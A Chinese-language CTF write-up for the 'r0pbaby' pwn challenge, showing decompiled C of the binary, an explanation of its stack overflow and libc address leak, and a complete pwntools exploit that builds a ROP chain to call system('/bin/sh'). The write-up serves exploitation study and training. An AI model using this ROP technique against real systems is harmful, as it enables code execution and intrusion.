R0pbaby

64位elf,程序无canary,无relro

程序如下(已经重命名):

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  void *v4; // rax
  unsigned __int64 v5; // r14
  int v6; // er13
  size_t v7; // r12
  int v8; // eax
  void *handle; // [rsp+8h] [rbp-448h]
  char nptr[1088]; // [rsp+10h] [rbp-440h] BYREF
  __int64 savedregs; // [rsp+450h] [rbp+0h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  handle = dlopen("libc.so.6", 1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          if ( !safe_read((__int64)nptr, 1024LL) )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v3 = strtol(nptr, 0LL, 10);
          if ( v3 != 2 )
            break;
          __printf_chk(1LL, "Enter symbol: ");
          if ( safe_read((__int64)nptr, 64LL) )
          {
            v4 = dlsym(handle, nptr);
            __printf_chk(1LL, "Symbol %s: 0x%016llX\n", nptr, v4);
          }
          else
          {
            puts("Bad symbol.");
          }
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_24;
        __printf_chk(1LL, "libc.so.6: 0x%016llX\n", handle);
      }
      if ( v3 != 3 )
        break;
      __printf_chk(1LL, "Enter bytes to send (max 1024): ");
      safe_read((__int64)nptr, 1024LL);
      v5 = (int)strtol(nptr, 0LL, 10);
      if ( v5 - 1 > 1023 )
      {
        puts("Invalid amount.");
      }
      else
      {
        if ( v5 )
        {
          v6 = 0;
          v7 = 0LL;
          while ( 1 )
          {
            v8 = _IO_getc(stdin);
            if ( v8 == -1 )
              break;
            nptr[v7] = v8;
            v7 = ++v6;
            if ( v5 <= v6 )
              goto LABEL_22;
          }
          v7 = v6 + 1;
        }
        else
        {
          v7 = 0LL;
        }
LABEL_22:
        memcpy(&savedregs, nptr, v7);
      }
    }
    if ( v3 == 4 )
      break;
LABEL_24:
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;
}

menu如下:

__int64 menu()
{
  puts("1) Get libc address");
  puts("2) Get address of a libc function");
  puts("3) Nom nom r0p buffer to stack");
  puts("4) Exit");
  return __printf_chk(1LL, ": ");
}

safe_read如下:

__int64 __fastcall sub_B9A(__int64 a1, __int64 a2)
{
  unsigned __int64 v2; // rsi
  __int64 v3; // rbx
  int i; // ebp
  int v5; // eax

  v2 = a2 - 1;
  if ( v2 )
  {
    v3 = 0LL;
    for ( i = 0; i < v2; v3 = i )
    {
      v5 = _IO_getc(stdin);
      if ( v5 == -1 )
        break;
      if ( v5 == '\n' )
        break;
      ++i;
      *(_BYTE *)(a1 + v3) = v5;
    }
  }
  else
  {
    v3 = 0LL;
  }
  *(_BYTE *)(a1 + v3) = 0;
  return v3;
}

程序提供了给出libc address功能(不过在本机上给出的地址不对),获得libc函数地址功能,和将输入(最多1024位长)复制到saved rbp处,因此存在栈溢出

实际上可以根据功能2获得许多libc函数地址,然后直接根据libc database获得远程所用的libc版本

之后根据libc函数地址可以算出libc基地址,然后能获得libc里的gadgets地址和/bin/sh地址,构造rop链即可

exp如下:

from pwn import *

io = process('./r0pbaby')
elf = ELF('./r0pbaby')
libc = elf.libc
pop_rdi = 0x21112
pop_rsi = 0x202f8
pop_rdx = 0x1b92

io.recvuntil(': ')
io.sendline('2')
io.recvuntil('Enter symbol: ')
io.sendline('system')
io.recvuntil('Symbol system: 0x')
system_addr = int(io.recv(16), 16)
info('system_addr: 0x%x' % system_addr)

libc_base = system_addr - libc.symbols['system']
info('libc_base: 0x%x' % libc_base)
pop_rdi += libc_base
pop_rsi += libc_base
pop_rdx += libc_base

binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
info('binsh_addr: 0x%x' % binsh_addr)

payload = b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0) + p64(system_addr)

io.recvuntil(': ')
io.sendline('3')
io.recvuntil('Enter bytes to send (max 1024): ')
io.sendline(str(len(payload)))
io.send(payload)

io.recvuntil(': ')
io.sendline('4')

io.interactive()

 

上一篇:nsctf_online_2019_pwn1


下一篇:【pwn】V&N2020 公开赛 simpleHeap